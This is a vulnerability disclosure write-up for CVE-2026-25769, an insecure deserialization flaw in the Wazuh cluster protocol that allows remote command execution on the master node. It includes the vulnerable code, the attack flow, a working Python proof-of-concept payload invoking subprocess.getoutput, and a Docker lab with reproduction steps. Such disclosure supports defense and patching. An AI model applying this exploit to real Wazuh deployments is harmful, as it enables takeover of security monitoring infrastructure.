CVE-2026-25769 – RCE via Insecure Deserialization in Wazuh Cluster – Remote Command Execution through Cluster Protocol

Escrito por  Texugo

Abstract

In this research, Hakai Security Research Team has identified a critical Remote Code Execution (RCE) vulnerability in Wazuh versions up to 4.14.1 that allows arbitrary command execution on the master node through insecure deserialization in the cluster communication protocol. The vulnerability stems from the lack of validation in the as_wazuh_object() function, which automatically imports and executes arbitrary Python callables from JSON payloads without enforcing any whitelist.

Exploitation requires only access to a compromised worker node, which provides both the necessary authentication (cluster key) and network access to trigger the vulnerability. Once exploited, an attacker achieves root-level command execution on the master node, compromising the entire security monitoring infrastructure.

After reporting this vulnerability through the GitHub Security Advisory program, the Wazuh security team acknowledged the issue and assigned it the identifier CVE-2026-25769. This publication aims to provide the technical community with a detailed analysis of the vulnerability, its potential impact, and practical mitigation strategies for organizations running Wazuh in production environments.

Impact

This vulnerability allows an attacker with access to a compromised worker node to execute arbitrary commands on the master with Wazuh user privileges. The master node typically has access to security logs, agent configurations, and detection rules across the monitored infrastructure. Exploitation enables command execution on the master, access to centralized security data, and potential lateral movement via agent controls.

Technical Details

The vulnerability exploits the cluster’s JSON deserialization mechanism, which was designed to allow remote function calls between cluster nodes but lacks fundamental security controls.

The flaw was located in framework/wazuh/core/cluster/common.py in the as_wazuh_object() function. This function acts as an object_hook in json.loads() to deserialize messages between cluster nodes.

When processing JSON objects with the __callable__ key, the function performs operations without validation:

Reads __module__ from user-controlled input. Imports the module via import_module() without whitelist. Retrieves arbitrary function via getattr(). Returns the function which is later executed.

Vulnerable Code

# framework/wazuh/core/cluster/common.py:1839-1848

def as_wazuh_object(dct: Dict):
    try:
        if '__callable__' in dct:
            encoded_callable = dct['__callable__']
            funcname = encoded_callable['__name__']
            if '__wazuh__' in encoded_callable:
                wazuh = Wazuh()
                return getattr(wazuh, funcname)
            else:
                qualname = encoded_callable['__qualname__'].split('.')
                classname = qualname[0] if len(qualname) > 1 else None
                module_path = encoded_callable['__module__']  # no validation
                module = import_module(module_path)            # arbitrary import
                if classname is None:
                    return getattr(module, funcname)           # returns arbitrary function
                else:
                    return getattr(getattr(module, classname), funcname)

 Execution Point

The deserialized function is executed in framework/wazuh/core/cluster/dapi/dapi.py:

# Line 705: Deserialization with vulnerable hook
request = json.loads(request, object_hook=c_common.as_wazuh_object)

# Line 248: Execution of deserialized function
data = f(**f_kwargs)

Attack Flow

Compromised worker sends malicious DAPI request via LocalClient.execute(). Message encrypted with cluster key (Fernet) is sent via TCP to master:1516. Master receives and processes via APIRequestQueue.run(). json.loads() calls as_wazuh_object() as object_hook. Deserialization processes {"__callable__": {"__name__": "getoutput", "__module__": "subprocess"}}. Function imports subprocess module and returns subprocess.getoutput. DistributedAPI.run_local() executes f(**f_kwargs). Command executes on master with Wazuh user privileges.

The cluster design assumes implicit trust between authenticated nodes. There is no Python module whitelist. There is no content validation for deserialized functions. There is no sandboxing or execution isolation.


Proof of Concept

File Structure

wazuh-poc/
├── docker-compose.yml
├── master.xml
├── worker.xml
└── exploit/
    └── poc.py

docker-compose.yml

services:
  master:
    image: wazuh/wazuh-manager:4.9.2
    hostname: wazuh-master
    container_name: poc-master
    volumes:
      - ./master.xml:/wazuh-config-mount/etc/ossec.conf
    networks:
      poc-net:
        ipv4_address: 172.28.0.10

  worker:
    image: wazuh/wazuh-manager:4.9.2
    hostname: wazuh-worker
    container_name: poc-worker
    volumes:
      - ./worker.xml:/wazuh-config-mount/etc/ossec.conf
      - ./exploit:/exploit
    depends_on:
      - master
    networks:
      poc-net:
        ipv4_address: 172.28.0.11

networks:
  poc-net:
    driver: bridge
    ipam:
      config:
        - subnet: 172.28.0.0/24

master.xml

<ossec_config>
  <global>
    <jsonout_output>yes</jsonout_output>
  </global>
  
  <remote>
    <connection>secure</connection>
    <port>1514</port>
    <protocol>tcp</protocol>
  </remote>
  
  <cluster>
    <name>poc</name>
    <node_name>master</node_name>
    <node_type>master</node_type>
    <key>1234567890abcdef1234567890abcdef</key>
    <port>1516</port>
    <bind_addr>0.0.0.0</bind_addr>
    <nodes>
      <node>wazuh-master</node>
    </nodes>
    <disabled>no</disabled>
  </cluster>
</ossec_config>

worker.xml

<ossec_config>
  <global>
    <jsonout_output>yes</jsonout_output>
  </global>
  
  <remote>
    <connection>secure</connection>
    <port>1514</port>
    <protocol>tcp</protocol>
  </remote>
  
  <cluster>
    <name>poc</name>
    <node_name>worker01</node_name>
    <node_type>worker</node_type>
    <key>1234567890abcdef1234567890abcdef</key>
    <port>1516</port>
    <bind_addr>0.0.0.0</bind_addr>
    <nodes>
      <node>wazuh-master</node>
    </nodes>
    <disabled>no</disabled>
  </cluster>
</ossec_config>

exploit/poc.py

#!/usr/bin/env python3

import json, asyncio, importlib.util

def load_module(path):
    spec = importlib.util.spec_from_file_location('m', path)
    m = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(m)
    return m

payload = {
    "f": {"__callable__": {"__name__": "getoutput", "__module__": "subprocess", "__qualname__": "getoutput"}},
    "f_kwargs": {"cmd": "id > /tmp/RCE_PROOF && date >> /tmp/RCE_PROOF"},
    "request_type": "local_master"
}

async def main():
    lc = load_module('/var/ossec/framework/wazuh/core/cluster/local_client.py').LocalClient()
    await lc.start()
    print(f"Sending: {json.dumps(payload)}")
    await lc.execute(command=b'dapi', data=json.dumps(payload).encode())

asyncio.run(main())

Reproduction Steps

# Start cluster
docker compose up -d

# Wait for initialization
sleep 90

# Verify cluster is connected
docker exec poc-master /var/ossec/bin/cluster_control -l

# Execute exploit from worker
docker exec poc-worker /var/ossec/framework/python/bin/python3 /exploit/poc.py

# Verify code execution on master
docker exec poc-master cat /tmp/RCE_PROOF

# Expected output:
# uid=999(wazuh) gid=999(wazuh) groups=999(wazuh),0(root)

Detailed Analysis

The Vulnerable Hook: as_wazuh_object()

Location: framework/wazuh/core/cluster/common.py

The as_wazuh_object() function is registered as object_hook in json.loads(). This means that every json object during deserialization passes through this function, allowing custom transformation of dictionaries into Python objects.

def as_wazuh_object(dct: Dict):
    try:
        if '__callable__' in dct:
            encoded_callable = dct['__callable__']
            funcname = encoded_callable['__name__']
            
            if '__wazuh__' in encoded_callable:
                # Legitimate case: internal Wazuh method
                wazuh = Wazuh()
                return getattr(wazuh, funcname)
            else:
                # Vulnerable case: arbitrary function
                qualname = encoded_callable['__qualname__'].split('.')
                classname = qualname[0] if len(qualname) > 1 else None
                
                module_path = encoded_callable['__module__']  # Unvalidated input
                module = import_module(module_path)            # Imports any module
                
                if classname is None:
                    return getattr(module, funcname)           # Returns arbitrary function
                else:
                    return getattr(getattr(module, classname), funcname)

Deserialization Point

Location: framework/wazuh/core/cluster/dapi/dapi.py

class APIRequestQueue:
    async def run(self):
        while True:
            # Receives encrypted request from worker
            encrypted_request = await self.receive_from_worker()
            
            # Decrypts with cluster Fernet key
            decrypted_request = self.decrypt(encrypted_request)
            
            # The object_hook transforms json into executable Python objects
            request = json.loads(
                decrypted_request,
                object_hook=c_common.as_wazuh_object  
            )

The problem: The architecture assumes that decrypted data is trustworthy. However, a compromised worker has the encryption key and can send malicious payloads that pass cryptographic validation but contain arbitrary import instructions.

Execution Point

Location: framework/wazuh/core/cluster/dapi/dapi.py

class DistributedAPI:
    async def run_local(self, f, f_kwargs, request_type='local_master'):
        try:
            # f = subprocess.getoutput (deserialized function)
            # f_kwargs = {"cmd": "id > /tmp/RCE_PROOF"}
            
            data = f(**f_kwargs)  # Arbitrary execution
            
            return {'result': data, 'status': 'success'}
        except Exception as e:
            return {'error': str(e), 'status': 'failed'}

Execution result:
subprocess.getoutput(cmd="id > /tmp/RCE_PROOF && date >> /tmp/RCE_PROOF")

Malicious Payload Construction

The payload exploits the structure expected by as_wazuh_object():

{
    "f": {
        "__callable__": {
            "__name__": "getoutput",
            "__module__": "subprocess",
            "__qualname__": "getoutput"
        }
    },
    "f_kwargs": {
        "cmd": "id > /tmp/RCE_PROOF && date >> /tmp/RCE_PROOF"
    },
    "request_type": "local_master"
}

Why Exploitation is Reliable

Once the attacker has access to a worker node, exploitation is consistent because the worker already has the Fernet key for communication with the master. The master does not validate which functions can be deserialized. The function is executed immediately after deserialization. Code executes with full Wazuh process privileges.


PoC Demo


Recommendations

Upgrade the affected component to the latest Wazuh released version to ensure all security patches are applied. Additionally, review and restrict the permissions granted to the service, following the principle of least privilege so that it operates only with the access strictly required for its intended functionality.


Conclusion

The insecure deserialization vulnerability in Wazuh cluster represents a significant risk for organizations that depend on this solution for security monitoring. The ability to compromise the master node from any vulnerable worker demonstrates a flaw in the cluster’s trust architecture.

Compromise of a central SIEM has implications beyond a single compromised server. Security teams operate with false information. Tampered logs invalidate certifications. Attackers maintain access without detection. The master has privileged access to all monitored agents.

This publication alerts the technical community about security implications in distributed monitoring systems and reinforces the importance of robust deserialization validation, especially in critical security infrastructure components.

Thanks to the Wazuh team for their professionalism and transparent communication during the coordinated disclosure.


References

Wazuh Cluster Architecture

CWE-502: Deserialization of Untrusted Data

PoC Repository

Logo da Hakai.